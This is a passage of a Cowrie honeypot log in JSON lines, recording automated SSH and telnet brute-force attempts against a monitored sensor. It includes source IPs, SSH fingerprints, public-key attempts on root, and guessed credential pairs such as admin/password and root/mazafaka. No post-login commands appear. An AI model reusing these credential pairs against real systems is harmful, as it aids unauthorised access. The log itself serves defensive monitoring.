4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:15.898201Z","src_ip":"176.65.132.218","session":"c9a1da0a9915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:16.066519Z","src_ip":"176.65.132.218","session":"c9a1da0a9915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:17.406067Z","src_ip":"176.65.132.218","session":"c9a1da0a9915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35816,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1202497062a","protocol":"telnet","message":"New connection: 152.42.224.71:35816 (10.17.0.5:23) [session: e1202497062a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:18.704919Z"}
{"eventid":"cowrie.session.closed","duration":49.78217577934265,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:19.446205Z","src_ip":"152.42.224.71","session":"8e945d320165","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48562,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1633711b0c9","protocol":"ssh","message":"New connection: 31.40.204.166:48562 (159.203.135.109:22) [session: b1633711b0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:19.482558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:19.493238Z","src_ip":"31.40.204.166","session":"b1633711b0c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:19.607451Z","src_ip":"31.40.204.166","session":"b1633711b0c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:20.194747Z","src_ip":"31.40.204.166","session":"b1633711b0c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:21.319159Z","src_ip":"31.40.204.166","session":"b1633711b0c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.090622663497925,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:21.820854Z","src_ip":"152.42.224.71","session":"70209b5ce8e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":47862,"dst_ip":"159.203.135.109","dst_port":22,"session":"5859bdca5d3b","protocol":"ssh","message":"New connection: 103.27.238.114:47862 (159.203.135.109:22) [session: 5859bdca5d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:27.723669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:27.728029Z","src_ip":"103.27.238.114","session":"5859bdca5d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:28.002552Z","src_ip":"103.27.238.114","session":"5859bdca5d3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mazafaka","message":"login attempt [root/mazafaka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:28.815953Z","src_ip":"103.27.238.114","session":"5859bdca5d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:30.089650Z","src_ip":"103.27.238.114","session":"5859bdca5d3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39546,"dst_ip":"159.203.135.109","dst_port":22,"session":"707ba51aa284","protocol":"ssh","message":"New connection: 31.40.204.166:39546 (159.203.135.109:22) [session: 707ba51aa284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:30.186167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:30.194858Z","src_ip":"31.40.204.166","session":"707ba51aa284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:30.320777Z","src_ip":"31.40.204.166","session":"707ba51aa284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:31.016237Z","src_ip":"31.40.204.166","session":"707ba51aa284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:32.196350Z","src_ip":"31.40.204.166","session":"707ba51aa284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52134,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4694e6b198a","protocol":"telnet","message":"New connection: 152.42.224.71:52134 (10.17.0.5:23) [session: a4694e6b198a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:38.346141Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52136,"dst_ip":"10.17.0.5","dst_port":23,"session":"a978812a4ce6","protocol":"telnet","message":"New connection: 152.42.224.71:52136 (10.17.0.5:23) [session: a978812a4ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:38.776963Z"}
{"eventid":"cowrie.session.closed","duration":56.302300691604614,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:38.780895Z","src_ip":"152.42.224.71","session":"c132a89f0df9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.913256883621216,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:39.491279Z","src_ip":"152.42.224.71","session":"2ce06c562164","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34966,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5df3b517c91","protocol":"ssh","message":"New connection: 31.40.204.166:34966 (159.203.135.109:22) [session: b5df3b517c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:41.580927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:41.585673Z","src_ip":"31.40.204.166","session":"b5df3b517c91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:41.718297Z","src_ip":"31.40.204.166","session":"b5df3b517c91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecommerce","password":"ecommerce","message":"login attempt [ecommerce/ecommerce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:42.186660Z","src_ip":"31.40.204.166","session":"b5df3b517c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:43.506657Z","src_ip":"31.40.204.166","session":"b5df3b517c91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52150,"dst_ip":"10.17.0.5","dst_port":23,"session":"87d330742765","protocol":"telnet","message":"New connection: 152.42.224.71:52150 (10.17.0.5:23) [session: 87d330742765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:43.872292Z"}
{"eventid":"cowrie.session.closed","duration":54.55475401878357,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:46.115056Z","src_ip":"152.42.224.71","session":"f4486252bf55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":40880,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f2d17a3228","protocol":"telnet","message":"New connection: 176.65.139.118:40880 (159.203.135.109:23) [session: f1f2d17a3228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:49.445769Z"}
{"eventid":"cowrie.session.closed","duration":51.197925329208374,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:49.500427Z","src_ip":"152.42.224.71","session":"ad37630625a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.663288831710815,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:52.412413Z","src_ip":"152.42.224.71","session":"abe3a960802a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.92095446586609,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:52.524801Z","src_ip":"152.42.224.71","session":"cad70b215ec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35178,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e69c08f986c","protocol":"ssh","message":"New connection: 31.40.204.166:35178 (159.203.135.109:22) [session: 2e69c08f986c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:52.707823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:52.712717Z","src_ip":"31.40.204.166","session":"2e69c08f986c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:52.885274Z","src_ip":"31.40.204.166","session":"2e69c08f986c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:53.525996Z","src_ip":"31.40.204.166","session":"2e69c08f986c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46770,"dst_ip":"10.17.0.5","dst_port":23,"session":"b88e30ce79ac","protocol":"telnet","message":"New connection: 152.42.224.71:46770 (10.17.0.5:23) [session: b88e30ce79ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.135271Z"}
{"eventid":"cowrie.session.closed","duration":41.618693828582764,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.240958Z","src_ip":"152.42.224.71","session":"f1fac1aeee75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.11.139","src_port":53398,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb934af17263","protocol":"ssh","message":"New connection: 108.181.11.139:53398 (10.17.0.5:22) [session: bb934af17263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.311585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.320575Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.397268Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.706748Z","src_ip":"31.40.204.166","session":"2e69c08f986c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:5f:54:19:0e:6b:d7:ff:e7:17:29:09:0a:e1:f7:34","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICSD0iR5KsfxDnzWx0YsdSqzOSnak4da4/JIJ+1o1ehk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 22:5f:54:19:0e:6b:d7:ff:e7:17:29:09:0a:e1:f7:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.753102Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:5f:54:19:0e:6b:d7:ff:e7:17:29:09:0a:e1:f7:34","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICSD0iR5KsfxDnzWx0YsdSqzOSnak4da4/JIJ+1o1ehk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.757761Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:7b:2b:a0:8c:08:76:3d:c4:38:60:4f:26:ee:f3:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjD+40O8tJIGQRgzBI8O78V8DfrqCCPzeIpVCyMDe3SRTpUinyll9LAQGdsIuY/g4ZNxliMWbhgciFKE1kVh+fxhsg+Lq1/yWHTJTul0FLDPZn0JjtWKnrLUittCzH7Wddii3c6Nb08uS+f3tax+uZUWUYYNX+VeUOaLG5JsAyOIMwcXWkVRT4MgIt1wywizow2aEUg3MfDRCxrISDKOxeQL7c9OUz78EyBhft+nQVJldmNQXoK3HCy6wHC0W2fWwUo6W42oJilJrdzc+1xPWvdvSDTsfHjotWHetvw8jM9zVmhnk9dNTCk6fWiyJI+8uKwYiWPpBpDiDZt4ekyR6R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:7b:2b:a0:8c:08:76:3d:c4:38:60:4f:26:ee:f3:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:54.835607Z","src_ip":"108.181.11.139","session":"bb934af17263","protocol":"ssh"}
